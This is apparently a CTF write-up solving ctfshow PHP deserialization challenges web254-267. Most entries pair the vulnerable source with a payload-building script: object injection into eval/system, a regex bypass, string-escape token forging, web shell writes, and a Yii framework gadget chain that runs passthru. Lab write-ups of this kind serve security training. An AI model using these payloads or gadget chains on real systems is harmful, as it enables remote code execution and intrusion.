Introduction to ctfshow Web - deserialization (previous)

Posted by LucienFB on Sun, 24 Oct 2021 12:24:58 +0200

catalogue

web254

web255

web256

web257

web258

web259

web260

web261

web262

web263

web264

web265

web266

web267

web254

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

You can know by reviewing the code directly

username=xxxxxx&password=xxxxxx

You can flag

web255

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

First, the username and password passed in by get are xxxxx

There are in the source code

$user = unserialize($_COOKIE['user'])
$user->login($username,$password)

Then, we need to make the result of deserialization be the instantiated object of ctfshowUser. Because only $this - > isvip is true can it be flag, so the content of deserialization

<?php
class ctfShowUser{
    public $isVip=true;
}
echo serialize(new ctfShowUser);

web256

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

The construction statement is similar to the above question, but here

if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }

username is not equal to password, and then just write code directly

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='6';   //Modify the value of password to make it different from the value of username
    public $isVip=true;}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
above php Script to get the serialization string we need. Pay attention to URL code!
​
Output: O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%226%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
 

web257

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
​
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
​
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

Obviously, we saw the eval function at a glance, so we must use that function

Then look up. There's one__ construct() function, and then we can use this constructed function

Construction code

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

web258

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
​
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
​
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

Add a regular on the basis of the previous question. Just add a plus sign to the number after O to bypass it, and then change private to public

Construction code

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class = 'backDoor';
​
    public function __construct(){
        $this->class=new backDoor();
    }
​
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class backDoor{
    public $code="system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);//Bypass preg_match
echo urlencode($a);

Then add a cookie, username and password to get the flag

web259

Not for the time being~~

web260

The title means that the serialized thing contains the string ctfshow_i_love_36D is OK, so we can directly transfer ctfshow=ctfshow_i_love_36D

web261

<?php
​
highlight_file(__FILE__);
​
class ctfshowvip{
    public $username;
    public $password;
    public $code;
​
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }
​
    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
​
unserialize($_GET['vip']); 

Note:

If the class also defines__ unserialize() and__ wakeup() has two magic methods, only__ The unserialize () method takes effect__ The wakeup () method is ignored.

First of all, we can look at this one. Here, if the weak class of code is equal to 0x36d(877), we can write in it, and the code is spliced by username and password, so as long as username=877.php password=shell

877.php==877 Is established
public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }

Last payload

<?php
class ctfshowvip{
    public $username;
    public $password;
 
    public function __construct($u='',$p=''){
        $this->username="877.php";
        $this->password="<?php eval(system('tac /fl*')); ?>";
    } 
}
echo urlencode(serialize(new ctfshowvip()));

web262

Source code and message.php

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
​
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
​
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
​
highlight_file(__FILE__);

message.php

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

This topic investigates the escape of deserialized string. On the message.php page, we can see that the flag can be output only when the token is admin

Just output a construction code

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
​
function filter($msg){
    return str_replace('fuck', 'loveU', $msg);
}
​
$msg = new message('a','b','c');
​
$msg_1 = serialize($msg);
​
echo $msg_1;
​
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

Then add the filtered results

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
​
function filter($msg){
    return str_replace('fuck', 'loveU', $msg);
}
​
$msg = new message('a','b','c');
​
$msg_1 = serialize($msg);
​
$msg_2 =filter($msg_1);
​
echo $msg_2;
​
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

Obviously, it can be seen here that 4 corresponds to loveU, and then 4 and 5 characters can escape one character, and then write payload here first

//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

Add the following code to the payload

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
​
function filter($msg){
    return str_replace('fuck', 'loveU', $msg);
}
​
$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
​
$msg_1 = serialize($msg);
​
//echo $msg_1;
​
​
$msg_2 =filter($msg_1);
​
echo $msg_2;
​
//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

Then a base64 encoding is required in message.php

web263

The storage format of the php engine is the key name "serialized"_ String, while php_ The serialize engine storage format is serialized_string

At the beginning, it was a source code leak. Visit URL+www.zip to get the source code

View inc.php, where ini_set('session.serialize_handler','php'); Indicates that the PHP engine is used

Global search session, the first access will generate session, and then the limit does not exceed 5

    if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die("The number of login failures exceeds the limit"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));
         $_SESSION['limit']= 1;
    }

Cookies are controllable. We can use them to construct payload s

<?php
class User{
    public $username;
    public $password;
    public $status='a';
​
}
$a=new User();
$a->username='b.php';
$a->password='<?php system("cat f*");?>';
echo base64_encode('|'.serialize($a));

First visit the original page, modify the cookie, then visit index.php, visit check.php, construct a Trojan horse, and finally log in to log-a.php

web264

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
error_reporting(0);
session_start();
​
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
​
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
​
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}
​
highlight_file(__FILE__);

Like 262, the difference is

$msg = unserialize(base64_decode($_SESSION['msg']));

session is used instead of cookie

On the index.php page

?f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

Then visit message.php and add a cookie

web265

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;
​
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
​
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
​
if($ctfshow->login()){
    echo $flag;
}

Use references to make the values of class properties always equal

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
class ctfshowAdmin{
    public $token;
    public $password;
​
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$admin = new ctfshowAdmin('123','123');
​
echo serialize($admin);

web266

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
highlight_file(__FILE__);
​
include('flag.php');
$cs = file_get_contents('php://input');
​
​
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

As long as ctfshow occurs here, an exception error will be thrown, so to bypass, here is a case bypass

<?php
class Ctfshow{};
$a = new Ctfshow();
echo serialize($a);
?>
​
//O:7:"Ctfshow":0:{}

web267

Open the page and log in with weak password first

admin//account number
admin//password

Then f12, check the source code and find it

?view-source

But connecting to a url is not? No. & No

Here is the deserialization of a yii framework

This question system is not good, and then see that others have a useful passthru echo

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
​
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}
​
namespace Faker{
    use yii\rest\CreateAction;
​
    class Generator{
        protected $formatters;
​
        public function __construct(){
            // It needs to be changed to isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}
​
namespace phpDocumentor\Reflection\DocBlock\Tags{
​
    use Faker\Generator;
​
    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // Generate poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

Topics: Web Security